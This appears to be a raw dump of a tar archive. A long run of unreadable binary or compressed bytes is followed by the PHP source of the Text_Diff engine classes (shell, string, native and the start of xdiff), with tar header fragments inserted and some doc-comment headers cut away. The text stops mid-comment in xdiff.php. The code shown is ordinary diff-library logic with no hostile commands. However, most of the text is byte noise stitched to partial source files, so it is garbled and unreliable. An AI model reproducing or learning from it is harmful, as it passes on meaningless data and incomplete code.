!*sz:e!reU0ˆKleRb<ጦuOߨ6w?hri&TD*ͽ]*j9q{5X)bsŴhnfz)imxbO1k%җ^bεq- w.1Y77q_W}Ղݗ,m\o#`>rlŪdVޥ6f@&H6^w5]cWv5 ^NzfTTn:, o䲕H'+\ǧ^Q$pLfZbKf{by& T#}5xz%d StGJ_yi[-bnolh :Nzsu]Y];빼{7JZ6Lmw:(gʹW $dsT:t)oVl՘] msvW D#Z cvv:nw匭VWb",qxPٝ9cUW25bmB:Nŝ WOV36z{͎_ ^sݬ+=W Ws?lPU_5lhгg%+ⅆ FlU Ztmo!,A A0X2Zv+ubG5_w߿9L$V lV̫DTeTZ\nA?sRi9ً+|9LgkQt8BYtb{v<6V)3UϙmZbm.vK|iViNoNgSb؜f>\8I3M!r=| LhX\fkJ30.kx.v9r7ZSkxJf.Zq<}:҈բUKX &ᴓIoo)tZMwꉵSEfXO(WK. ƒnH*ZK;>sm,;Tam' NX+F][mڅh;jңe~-m7 t!Z 7~d+̑|1(rIThYu4΄#XcL/dbk>s מ9 4τc4}zk.l,nr).$vܴbŕz\̯mΞbJ5=g4׍{߷rB^,+Kftlbq%wo9s3Eމ(5f8vՄ}1h"m`o lHok /.{Y`,|z?XH}G+ej~cQuȇ4#nywwy,NY)[VbL{/kxY`2`t=/}j]-+;lILo3%RB-7tjg\ F7ẰR(>Iovy9WcID*ۭDWnt9^mՕ%Kdbs/zj5ڭ;v̺#kf=Ol3j5G:NC4-zt=_KŹ^öS8߭v‹{XMz.ww2J׬&.X]+)5==rqsq; JV2\}/o+_Y_*2@q/r#ԗQ`Vr XjL76|G6xO%\ppf.'Mjm`2[|(s'&CV9tJK\rZ@>%`%s\^"w~Ո'6!iWUKwTqtRדBu+xۋc/u%aQp}Z3 @ky6s}ev[F^s]ނmﴚ o[`|nwǑ=Q\"k;lHtpԽ]_/`4+U9s]2d1isU:6[|PT d%h3{3^eYkH[P wzHG9T*˚WB%ߥmt%\h#6n(6^k-A$^6j//9FߟDB~K6$fYS5?\'$un]tyi z+骸*=߆O6,W͂`K(M-G%%3vU "__ @}bULfl R=F= yzXڵ/9-m$v˞9J|bw+{hkm/3._nGȝ63h8cZ(Tb6TP162raV ..eXjA ŕvW[sES;tWKlkQOZGP,2՝b;W_t8>kKXl0εp8k"/vlkIv#P΄>W 16DPhU:@sd `8a;*;|lqmt2!VT@Kzwvbk1.2ލ8Cr܋rI߆lq3^~cc{TzsǽXȕHtf.$󲄽IUhvl-))"~ ?@Q 0.uVͰ0RAz1cbЋ(7-:LDh2tBȁGRĤCFlTlbZ^ m 5w8t k EEQMQkVjUd1~˴ Ѣb$PvYCY!r-)ۚ$/^g e%abhog fuqPcuHSl,uwK(Ȉ2f5l`A~=~ Y g2 R+Mvc㲩K}zPgqjlC+ile\odPC&?~vgyGe쇝Plk +pOD-V>fd|\t7eFYt28~,| e$@uA8JȃZ0f CqGE:6jߩD$NbC5TV2,j[E4yPC592PŞ{z T< >0w(UXOc{JWypп:2x"e "9"4RD:{3M=~aT`7km=pDsU<rA R¸Ɔq6 );2u^dqq8P4qMod,$hǚFE|T*I(1!cW"%Eo)u?~<\ĽD녹<@H +2h; ГRyL%B2 ! EG,`, Mwݿ41Ï9uR11]Szc*R /Bn(Ÿ-|uoǠe`pf ?s:o2@ LJ巴2opdh"SC];:T}^v:1bu j^Z5Dx $C׀ZR`]Hml19 GAeF،ƚ[1@& # AC4q@N&ʨ&4׿G9<2FwKX#1X@7(!HHv(^Ɖ-譈˵Y W`Ef<8,qH6J4~ !/g o^Iȕ{*ǴC`F 6\tPNdIy7يwp?-FJ2.cPpxtO,{4P9q@iN`w4-O|&N'HS~xIt7bg4s6ٿsg#SMyJ}؈9(#qőrR뛄쁂 B1$dA_dt]NU0r9 Q\*x:gAaui|D˪%?ѧl}9?tb|w~{a ~!ّ$PNlT5ykQ(Z&wRPjK~a0Q1E{tKb6ŪFDGpq`'+,մM婫0AU@qb|Ke Vj~ ,Fek`Xܕ ~& ư #<  гõm=N}!oaauft(f ,)\&qfp*)cXR:7B7l6;wZH\S`gfE "R,=׊oz_H+- iՔ5|HzL׻a0]zzr9H6q՚0MrيNZWJ0Ę(O}V: \{} #Mppe\e'DW!4I9S yn"/BdC9۳]~.,>xހ8 uG=sb^aM'4Cxpck(y'Ʉ 1ء89^|^ T N/δɹJn`'d֜iOzM@uݴ[@u~GėrxF)"GŠSqodL3ĹSA?FI5pis;w*Ώ8yA6ia4ph<[VVz|6yu~Xƣl3""yQu}xCWRdȃOdIHcߓ&*g35J3~b _*uӊXUc>p@|]SUw#Y=tUy,^04&_mR$/MC uyndw1:*՟Eϩjc>Qʊ.< jæt `|$s0Ȇ(齺$Ȳ[F6ierq+O+ hjM pAt@ ֓UB=P?ޤkXz6%k&#w3ЫjTjȻ'Z(yIoI)ywY}\OxpoP*?^:`maSL>@  c;r9h%%K/eM y¨W |IKC1h͢tۂ."<*4ʆ&4/Rk8[  a$  5CM1/Xxtcx [B>&K`l#EM0S[,ae% [ۡ(@9d/ nWwFv3k@' o!1Kj7Ac.~\O@S ˆVJvHـ9rg4[V- z="5=F%wɖehqv }Km` u[`[,!`$8//)"r1r<4%PZ70b<%y@g>ݡIʜ G]JAPO J#wXxPAtL>o\#T9.k%@ bM'r yfZ+}H`/=fk( a<[9;&d`4sH>HnY.&b5bȊ~ZZ'0ܵLQfJJ#yrk7 #'PӘ¨ڕv ;$&C$ОGQU>GX_.10ҴE<0@Y1W\A(C`9~VKh/>2HVYPAM h*SeA=* 7֚q0ݜ30iQNF6Rdףk+62[#3 'pl!n \&N=.JM貞tKcJD:':,}w"`#yFu[yJ7ǥpX(YaҺ(FvZ暶:z >i`r!!/hq\&ʚ!.CR*%#r 0y[{@X5q]xQ4dq_eH׈B(S r(88[ 00=$g6vJoP+Hhv82efX1>S^˃S0K u:\Ե#H6hT`<\ oM tRU,^lTtV;jPNQʘV8h ` PjAk/lp .u؊)LSrhSuIBk⫥JpVT FQI:8+x"OcCѩ) E'(&z0BBc2 Gbbi9JefHZ; r]^۝ngw8]nmVEZ4NN,DBT,DB#- >戦&g vaѦ޺ Q8~b(%r(EӝDX!Y_AQ:Ơ0&A \[@i1/uۜ!'<8^tN̓c`3P8a葓J[Nr+I.9ɯ$9X^%!04<1A\$TQbA6PfhQH Jv @/U-0|RN +8Y=Qe9 y!5Kiܕ&?sdE|(Ek/_r*9e.7*a6OvynX!'& 3$@eF(/L#D4 fjJjQ UP8ݮr|͖24m;> A `8"pja@ lp|q ]Wa8 Z8ݕ٤4Lh0-EYH4ۘڶaP"^kR`!ͦ6Ani{藴hHxsimA }K5δQXp RXO@4p_`*6nuͦ3Eڴ哭S3{-IзX ʴ@LRh͊:15mU{ ͠1hPFV+}r1THF-?M rt /bs[@ez ML7s.VKdYl0BYkBVFYX L&jxCfXFA)'3YCH0"jFhV-h؛6 Yzqr% >YJZs(FbX0G :]m9 |gkزHTgA{Qh/FZ]o .*04Alg3]ڡ@@U/wJViC Z쬚!KTp2Rh(@Q) m6+ >P띤OY~"A}Ď ̄ 5/c9'IH4 mpauoUHEc!'bL .*{hG*1NtGC2mU`PsM"C)^HH 2MޗA.B:(C%We%hQv_KgQE\/׼tH#zbh6@K2Nx1R^2vՓ!(1Ǭsꎾ6; sވyq ý tG0N5)A kX{/EemTE`ÅTSer%EQ2U[ &I]єy3H1C2R=.ÝØMdk3#_5\:R1 %>+8ǁp}ri&h%T%\&;ULo+!叞 b2ӒV$dv 橦sZԶRUQlΚ`I9lAGW5MA1dE~Ķ2o{LVohW=#U7ʨRʗ@81(x!vCQ|gwW9LAIDùg%ZlB%c"w(7{$?C]^Nˍ`89I?tHq(P~^ (?*rQ ׷=G1{;-ol&r01d0j!ߠ koipeFlĸSI RGEԇͦWxI+D Wz(*f`QD&+GW=J@=l4n8*lR#*W{L &õY)8;Y  #{ǨQy#0ԕ7bgUx-| ,98TaGn~0ۭt|͎6v#Z:%Z% .d: BIwp$ h txD^8Z0-RyP9сD B.'nJYv|EX Cux8vF9XCgLjs#@wK  Z=C8DF=g+Uaӊ=8΀IwBs*^AU\(bW-8ca3M_=Oa&j{zHG^5Pޒ8b%(M$9[ձjn)NC ЧjX\ŕ>C(tS:T*0Meu *WLS=dh+WCG40h*'*k=LM=E|Z񌖯5練 8 Bͨ8h@zyI,"t ywUvuG."> ӽ>Ui0 hh e]#$O[ٚۚ2ӮP ^ sm0'st 7GlǏ!8rCW/_"5$lq@ ~x-SQ.Em JXdt &`? X|`K H):WZcYIt*' `AH@m ق^. ]ŴIV$v{T[;;쨇0\=*7jBafcRo(D8ZHh@L`7 #_M0!Z+>]ADM 94g lSk1iM&7߆7"MV@"NA 7b@w@!- 9reRlJmW ¶ĥSȦ 4-0,Gɩ|)p_ 2]aXjdBA/Q@  ()` ;%ihABa㓂 Y%Q0BeGnHM#( [!!#B&E >uw$ߕj. -Q]jS ^M?>,5&C4/. 4j#rɡH` !4zpqX`RҶ(cI]+ *qp(i<'S2ʡmj@-PZQ+q @ElۚJ`p hUOO )-'htOO @vpt=&LV(7%[aD]S]?8 |␩cdiƁ4+5TDe4MvDm8FRw䦁 j!Yؐ4hbhCђ"ѥV^HSX(OI2OW#G6% DCe$V ? 6Fz+uȨɴ2Qle[ #YCJzD!ߥ .qw$0 _e䔂'rIP1iP`Qi!WrX mK?m!dHn6Ō1NZ-·'}PQ8rG o7}IrO RMɜInё,^WEӘY!h3tP^N&. CBc=pEkdV<ZUCm0rO=-SF!y{yfkc~%qHfA!'"Nкll@l.Bzo'a*T_a?J`.-2@;q-KSVV# AX|ok[E v )-e4`1ε[,0 8*b$>Ll_f <׮Ց~@fH}IO}9B$uL1kЗ/BKMiLhmN-5^АdDʼNvD2ӌ+'[\HSG#:UZjcH&;^8$|}T]A3z YTE`%)P|UjrɆiWudFL@T-r!PɑJGULgjo#ٻNZɵsG:~e΅bgCQ :/t8i 0 C`qh@?POTbJZVfr9I@m1*Lsiڣ]/UmGU߻x;V$*Xt`k 5 AZ=m`4>&%CEVYZؿ_P:ЍʊEC&D-ԑ>9BT^wJ{VdfG!OC+#yNh'bU MVH!n}Zhk cAMbC|~Z><*nGJn084K@]+YZG7:ۧ\|Bd 5I p5 ã3fWh+TkuG+. evPȣ v WMpXHʈ9O朷HeSkI|.$t)91tK9-uHO vC eijXJ;'pnOq坑™AՑ^K=\%'Ja=aM2:ТveY=Hj(0TʡbW -uלу9)cp]EY.p'佄a?e4n<1T%:)}كTZ0+ӾH !˝p\vfP*gln\]Pл[Y\w߅C(vOrntcw]y7tڴN5q)t's[F;U8`4(W .O4$P<rTkm) avgQ`y;`;\KyǑQ=grxkb]l-B^g1.$ Te$|0@jƷ;:Y w(9C!iļLA|G>s5̸I?>4g\~@c{vXg3ny#G}a4>|Fg ge_ο>vI@f::[&0L'h#rTV&hzG"Yn,ejȥvtYIGw&Y`szfܞ<g.ׅY X8F[G}?/G㘱_U483qn|F}ގh|CUFsHOo/ϝ&FO~Μ {vޗ&N]<gѳ?Y񟟞مіcjrWScOKG'ȵV[1yxItT'@L!@ g ~HM3ڮC2j:4{u~zNa.xNh=/o9. |ggTgm=M<9a.m-M3v:oy6?)N=pJJO'F5JO?dGΠ~~P.irj9<m.Fqiwh삖6@e{3Q]ؑ;whq؁thI=G ?8_9E.]×ova/Engine.tar000064400000107000150561075210007246 0ustar00shell.php000064400000012123150554226750006376 0ustar00 * @package Text_Diff * @since 0.3.0 */ class Text_Diff_Engine_shell { /** * Path to the diff executable * * @var string */ var $_diffCommand = 'diff'; /** * Returns the array of differences. * * @param array $from_lines lines of text from old file * @param array $to_lines lines of text from new file * * @return array all changes made (array with Text_Diff_Op_* objects) */ function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); $temp_dir = Text_Diff::_getTempDir(); // Execute gnu diff or similar to get a standard diff file. $from_file = tempnam($temp_dir, 'Text_Diff'); $to_file = tempnam($temp_dir, 'Text_Diff'); $fp = fopen($from_file, 'w'); fwrite($fp, implode("\n", $from_lines)); fclose($fp); $fp = fopen($to_file, 'w'); fwrite($fp, implode("\n", $to_lines)); fclose($fp); $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file); unlink($from_file); unlink($to_file); if (is_null($diff)) { // No changes were made return array(new Text_Diff_Op_copy($from_lines)); } $from_line_no = 1; $to_line_no = 1; $edits = array(); // Get changed lines by parsing something like: // 0a1,2 // 1,2c4,6 // 1,5d6 preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff, $matches, PREG_SET_ORDER); foreach ($matches as $match) { if (!isset($match[5])) { // This paren is not set every time (see regex). $match[5] = false; } if ($match[3] == 'a') { $from_line_no--; } if ($match[3] == 'd') { $to_line_no--; } if ($from_line_no < $match[1] || $to_line_no < $match[4]) { // copied lines assert($match[1] - $from_line_no == $match[4] - $to_line_no); array_push($edits, new Text_Diff_Op_copy( $this->_getLines($from_lines, $from_line_no, $match[1] - 1), $this->_getLines($to_lines, $to_line_no, $match[4] - 1))); } switch ($match[3]) { case 'd': // deleted lines array_push($edits, new Text_Diff_Op_delete( $this->_getLines($from_lines, $from_line_no, $match[2]))); $to_line_no++; break; case 'c': // changed lines array_push($edits, new Text_Diff_Op_change( $this->_getLines($from_lines, $from_line_no, $match[2]), $this->_getLines($to_lines, $to_line_no, $match[5]))); break; case 'a': // added lines array_push($edits, new Text_Diff_Op_add( $this->_getLines($to_lines, $to_line_no, $match[5]))); $from_line_no++; break; } } if (!empty($from_lines)) { // Some lines might still be pending. Add them as copied array_push($edits, new Text_Diff_Op_copy( $this->_getLines($from_lines, $from_line_no, $from_line_no + count($from_lines) - 1), $this->_getLines($to_lines, $to_line_no, $to_line_no + count($to_lines) - 1))); } return $edits; } /** * Get lines from either the old or new text * * @access private * * @param array $text_lines Either $from_lines or $to_lines (passed by reference). * @param int $line_no Current line number (passed by reference). * @param int $end Optional end line, when we want to chop more * than one line. * * @return array The chopped lines */ function _getLines(&$text_lines, &$line_no, $end = false) { if (!empty($end)) { $lines = array(); // We can shift even more while ($line_no <= $end) { array_push($lines, array_shift($text_lines)); $line_no++; } } else { $lines = array(array_shift($text_lines)); $line_no++; } return $lines; } } string.php000064400000020233150554227020006565 0ustar00 * $patch = file_get_contents('example.patch'); * $diff = new Text_Diff('string', array($patch)); * $renderer = new Text_Diff_Renderer_inline(); * echo $renderer->render($diff); * * * Copyright 2005 Örjan Persson * Copyright 2005-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @author Örjan Persson * @package Text_Diff * @since 0.2.0 */ class Text_Diff_Engine_string { /** * Parses a unified or context diff. * * First param contains the whole diff and the second can be used to force * a specific diff type. If the second parameter is 'autodetect', the * diff will be examined to find out which type of diff this is. * * @param string $diff The diff content. * @param string $mode The diff mode of the content in $diff. One of * 'context', 'unified', or 'autodetect'. * * @return array List of all diff operations. */ function diff($diff, $mode = 'autodetect') { // Detect line breaks. $lnbr = "\n"; if (strpos($diff, "\r\n") !== false) { $lnbr = "\r\n"; } elseif (strpos($diff, "\r") !== false) { $lnbr = "\r"; } // Make sure we have a line break at the EOF. if (substr($diff, -strlen($lnbr)) != $lnbr) { $diff .= $lnbr; } if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') { return PEAR::raiseError('Type of diff is unsupported'); } if ($mode == 'autodetect') { $context = strpos($diff, '***'); $unified = strpos($diff, '---'); if ($context === $unified) { return PEAR::raiseError('Type of diff could not be detected'); } elseif ($context === false || $unified === false) { $mode = $context !== false ? 'context' : 'unified'; } else { $mode = $context < $unified ? 'context' : 'unified'; } } // Split by new line and remove the diff header, if there is one. $diff = explode($lnbr, $diff); if (($mode == 'context' && strpos($diff[0], '***') === 0) || ($mode == 'unified' && strpos($diff[0], '---') === 0)) { array_shift($diff); array_shift($diff); } if ($mode == 'context') { return $this->parseContextDiff($diff); } else { return $this->parseUnifiedDiff($diff); } } /** * Parses an array containing the unified diff. * * @param array $diff Array of lines. * * @return array List of all diff operations. */ function parseUnifiedDiff($diff) { $edits = array(); $end = count($diff) - 1; for ($i = 0; $i < $end;) { $diff1 = array(); switch (substr($diff[$i], 0, 1)) { case ' ': do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == ' '); $edits[] = new Text_Diff_Op_copy($diff1); break; case '+': // get all new lines do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff1); break; case '-': // get changed or removed lines $diff2 = array(); do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == '-'); while ($i < $end && substr($diff[$i], 0, 1) == '+') { $diff2[] = substr($diff[$i++], 1); } if (count($diff2) == 0) { $edits[] = new Text_Diff_Op_delete($diff1); } else { $edits[] = new Text_Diff_Op_change($diff1, $diff2); } break; default: $i++; break; } } return $edits; } /** * Parses an array containing the context diff. * * @param array $diff Array of lines. * * @return array List of all diff operations. */ function parseContextDiff(&$diff) { $edits = array(); $i = $max_i = $j = $max_j = 0; $end = count($diff) - 1; while ($i < $end && $j < $end) { while ($i >= $max_i && $j >= $max_j) { // Find the boundaries of the diff output of the two files for ($i = $j; $i < $end && substr($diff[$i], 0, 3) == '***'; $i++); for ($max_i = $i; $max_i < $end && substr($diff[$max_i], 0, 3) != '---'; $max_i++); for ($j = $max_i; $j < $end && substr($diff[$j], 0, 3) == '---'; $j++); for ($max_j = $j; $max_j < $end && substr($diff[$max_j], 0, 3) != '***'; $max_j++); } // find what hasn't been changed $array = array(); while ($i < $max_i && $j < $max_j && strcmp($diff[$i], $diff[$j]) == 0) { $array[] = substr($diff[$i], 2); $i++; $j++; } while ($i < $max_i && ($max_j-$j) <= 1) { if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') { break; } $array[] = substr($diff[$i++], 2); } while ($j < $max_j && ($max_i-$i) <= 1) { if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') { break; } $array[] = substr($diff[$j++], 2); } if (count($array) > 0) { $edits[] = new Text_Diff_Op_copy($array); } if ($i < $max_i) { $diff1 = array(); switch (substr($diff[$i], 0, 1)) { case '!': $diff2 = array(); do { $diff1[] = substr($diff[$i], 2); if ($j < $max_j && substr($diff[$j], 0, 1) == '!') { $diff2[] = substr($diff[$j++], 2); } } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!'); $edits[] = new Text_Diff_Op_change($diff1, $diff2); break; case '+': do { $diff1[] = substr($diff[$i], 2); } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff1); break; case '-': do { $diff1[] = substr($diff[$i], 2); } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-'); $edits[] = new Text_Diff_Op_delete($diff1); break; } } if ($j < $max_j) { $diff2 = array(); switch (substr($diff[$j], 0, 1)) { case '+': do { $diff2[] = substr($diff[$j++], 2); } while ($j < $max_j && substr($diff[$j], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff2); break; case '-': do { $diff2[] = substr($diff[$j++], 2); } while ($j < $max_j && substr($diff[$j], 0, 1) == '-'); $edits[] = new Text_Diff_Op_delete($diff2); break; } } } return $edits; } } native.php000064400000037261150554227100006555 0ustar00 2, and some optimizations) are from * Geoffrey T. Dairiki . The original PHP version of this * code was written by him, and is used/adapted with his permission. * * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @author Geoffrey T. Dairiki * @package Text_Diff */ class Text_Diff_Engine_native { public $xchanged; public $ychanged; public $xv; public $yv; public $xind; public $yind; public $seq; public $in_seq; public $lcs; function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); $n_from = count($from_lines); $n_to = count($to_lines); $this->xchanged = $this->ychanged = array(); $this->xv = $this->yv = array(); $this->xind = $this->yind = array(); unset($this->seq); unset($this->in_seq); unset($this->lcs); // Skip leading common lines. for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) { if ($from_lines[$skip] !== $to_lines[$skip]) { break; } $this->xchanged[$skip] = $this->ychanged[$skip] = false; } // Skip trailing common lines. $xi = $n_from; $yi = $n_to; for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) { if ($from_lines[$xi] !== $to_lines[$yi]) { break; } $this->xchanged[$xi] = $this->ychanged[$yi] = false; } // Ignore lines which do not exist in both files. for ($xi = $skip; $xi < $n_from - $endskip; $xi++) { $xhash[$from_lines[$xi]] = 1; } for ($yi = $skip; $yi < $n_to - $endskip; $yi++) { $line = $to_lines[$yi]; if (($this->ychanged[$yi] = empty($xhash[$line]))) { continue; } $yhash[$line] = 1; $this->yv[] = $line; $this->yind[] = $yi; } for ($xi = $skip; $xi < $n_from - $endskip; $xi++) { $line = $from_lines[$xi]; if (($this->xchanged[$xi] = empty($yhash[$line]))) { continue; } $this->xv[] = $line; $this->xind[] = $xi; } // Find the LCS. $this->_compareseq(0, count($this->xv), 0, count($this->yv)); // Merge edits when possible. $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged); $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged); // Compute the edit operations. $edits = array(); $xi = $yi = 0; while ($xi < $n_from || $yi < $n_to) { assert($yi < $n_to || $this->xchanged[$xi]); assert($xi < $n_from || $this->ychanged[$yi]); // Skip matching "snake". $copy = array(); while ($xi < $n_from && $yi < $n_to && !$this->xchanged[$xi] && !$this->ychanged[$yi]) { $copy[] = $from_lines[$xi++]; ++$yi; } if ($copy) { $edits[] = new Text_Diff_Op_copy($copy); } // Find deletes & adds. $delete = array(); while ($xi < $n_from && $this->xchanged[$xi]) { $delete[] = $from_lines[$xi++]; } $add = array(); while ($yi < $n_to && $this->ychanged[$yi]) { $add[] = $to_lines[$yi++]; } if ($delete && $add) { $edits[] = new Text_Diff_Op_change($delete, $add); } elseif ($delete) { $edits[] = new Text_Diff_Op_delete($delete); } elseif ($add) { $edits[] = new Text_Diff_Op_add($add); } } return $edits; } /** * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF, * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized * segments. * * Returns (LCS, PTS). LCS is the length of the LCS. PTS is an array of * NCHUNKS+1 (X, Y) indexes giving the diving points between sub * sequences. The first sub-sequence is contained in (X0, X1), (Y0, Y1), * the second in (X1, X2), (Y1, Y2) and so on. Note that (X0, Y0) == * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM). * * This function assumes that the first lines of the specified portions of * the two files do not match, and likewise that the last lines do not * match. The caller must trim matching lines from the beginning and end * of the portions it is going to specify. */ function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks) { $flip = false; if ($xlim - $xoff > $ylim - $yoff) { /* Things seems faster (I'm not sure I understand why) when the * shortest sequence is in X. */ $flip = true; list ($xoff, $xlim, $yoff, $ylim) = array($yoff, $ylim, $xoff, $xlim); } if ($flip) { for ($i = $ylim - 1; $i >= $yoff; $i--) { $ymatches[$this->xv[$i]][] = $i; } } else { for ($i = $ylim - 1; $i >= $yoff; $i--) { $ymatches[$this->yv[$i]][] = $i; } } $this->lcs = 0; $this->seq[0]= $yoff - 1; $this->in_seq = array(); $ymids[0] = array(); $numer = $xlim - $xoff + $nchunks - 1; $x = $xoff; for ($chunk = 0; $chunk < $nchunks; $chunk++) { if ($chunk > 0) { for ($i = 0; $i <= $this->lcs; $i++) { $ymids[$i][$chunk - 1] = $this->seq[$i]; } } $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks); for (; $x < $x1; $x++) { $line = $flip ? $this->yv[$x] : $this->xv[$x]; if (empty($ymatches[$line])) { continue; } $matches = $ymatches[$line]; reset($matches); while ($y = current($matches)) { if (empty($this->in_seq[$y])) { $k = $this->_lcsPos($y); assert($k > 0); $ymids[$k] = $ymids[$k - 1]; break; } next($matches); } while ($y = current($matches)) { if ($y > $this->seq[$k - 1]) { assert($y <= $this->seq[$k]); /* Optimization: this is a common case: next match is * just replacing previous match. */ $this->in_seq[$this->seq[$k]] = false; $this->seq[$k] = $y; $this->in_seq[$y] = 1; } elseif (empty($this->in_seq[$y])) { $k = $this->_lcsPos($y); assert($k > 0); $ymids[$k] = $ymids[$k - 1]; } next($matches); } } } $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff); $ymid = $ymids[$this->lcs]; for ($n = 0; $n < $nchunks - 1; $n++) { $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks); $y1 = $ymid[$n] + 1; $seps[] = $flip ? array($y1, $x1) : array($x1, $y1); } $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim); return array($this->lcs, $seps); } function _lcsPos($ypos) { $end = $this->lcs; if ($end == 0 || $ypos > $this->seq[$end]) { $this->seq[++$this->lcs] = $ypos; $this->in_seq[$ypos] = 1; return $this->lcs; } $beg = 1; while ($beg < $end) { $mid = (int)(($beg + $end) / 2); if ($ypos > $this->seq[$mid]) { $beg = $mid + 1; } else { $end = $mid; } } assert($ypos != $this->seq[$end]); $this->in_seq[$this->seq[$end]] = false; $this->seq[$end] = $ypos; $this->in_seq[$ypos] = 1; return $end; } /** * Finds LCS of two sequences. * * The results are recorded in the vectors $this->{x,y}changed[], by * storing a 1 in the element for each line that is an insertion or * deletion (ie. is not in the LCS). * * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1. * * Note that XLIM, YLIM are exclusive bounds. All line numbers are * origin-0 and discarded lines are not counted. */ function _compareseq ($xoff, $xlim, $yoff, $ylim) { /* Slide down the bottom initial diagonal. */ while ($xoff < $xlim && $yoff < $ylim && $this->xv[$xoff] == $this->yv[$yoff]) { ++$xoff; ++$yoff; } /* Slide up the top initial diagonal. */ while ($xlim > $xoff && $ylim > $yoff && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) { --$xlim; --$ylim; } if ($xoff == $xlim || $yoff == $ylim) { $lcs = 0; } else { /* This is ad hoc but seems to work well. $nchunks = * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks = * max(2,min(8,(int)$nchunks)); */ $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1; list($lcs, $seps) = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks); } if ($lcs == 0) { /* X and Y sequences have no common subsequence: mark all * changed. */ while ($yoff < $ylim) { $this->ychanged[$this->yind[$yoff++]] = 1; } while ($xoff < $xlim) { $this->xchanged[$this->xind[$xoff++]] = 1; } } else { /* Use the partitions to split this problem into subproblems. */ reset($seps); $pt1 = $seps[0]; while ($pt2 = next($seps)) { $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]); $pt1 = $pt2; } } } /** * Adjusts inserts/deletes of identical lines to join changes as much as * possible. * * We do something when a run of changed lines include a line at one end * and has an excluded, identical line at the other. We are free to * choose which identical line is included. `compareseq' usually chooses * the one at the beginning, but usually it is cleaner to consider the * following identical line to be the "change". * * This is extracted verbatim from analyze.c (GNU diffutils-2.7). */ function _shiftBoundaries($lines, &$changed, $other_changed) { $i = 0; $j = 0; assert(count($lines) == count($changed)); $len = count($lines); $other_len = count($other_changed); while (1) { /* Scan forward to find the beginning of another run of * changes. Also keep track of the corresponding point in the * other file. * * Throughout this code, $i and $j are adjusted together so that * the first $i elements of $changed and the first $j elements of * $other_changed both contain the same number of zeros (unchanged * lines). * * Furthermore, $j is always kept so that $j == $other_len or * $other_changed[$j] == false. */ while ($j < $other_len && $other_changed[$j]) { $j++; } while ($i < $len && ! $changed[$i]) { assert($j < $other_len && ! $other_changed[$j]); $i++; $j++; while ($j < $other_len && $other_changed[$j]) { $j++; } } if ($i == $len) { break; } $start = $i; /* Find the end of this run of changes. */ while (++$i < $len && $changed[$i]) { continue; } do { /* Record the length of this run of changes, so that we can * later determine whether the run has grown. */ $runlength = $i - $start; /* Move the changed region back, so long as the previous * unchanged line matches the last changed one. This merges * with previous changed regions. */ while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) { $changed[--$start] = 1; $changed[--$i] = false; while ($start > 0 && $changed[$start - 1]) { $start--; } assert($j > 0); while ($other_changed[--$j]) { continue; } assert($j >= 0 && !$other_changed[$j]); } /* Set CORRESPONDING to the end of the changed run, at the * last point where it corresponds to a changed run in the * other file. CORRESPONDING == LEN means no such point has * been found. */ $corresponding = $j < $other_len ? $i : $len; /* Move the changed region forward, so long as the first * changed line matches the following unchanged one. This * merges with following changed regions. Do this second, so * that if there are no merges, the changed region is moved * forward as far as possible. */ while ($i < $len && $lines[$start] == $lines[$i]) { $changed[$start++] = false; $changed[$i++] = 1; while ($i < $len && $changed[$i]) { $i++; } assert($j < $other_len && ! $other_changed[$j]); $j++; if ($j < $other_len && $other_changed[$j]) { $corresponding = $i; while ($j < $other_len && $other_changed[$j]) { $j++; } } } } while ($runlength != $i - $start); /* If possible, move the fully-merged run of changes back to a * corresponding run in the other file. */ while ($corresponding < $i) { $changed[--$start] = 1; $changed[--$i] = 0; assert($j > 0); while ($other_changed[--$j]) { continue; } assert($j >= 0 && !$other_changed[$j]); } } } } xdiff.php000064400000004233150554227150006365 0ustar00 * @package Text_Diff */ class Text_Diff_Engine_xdiff { /** */ function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); /* Convert the two input arrays into strings for 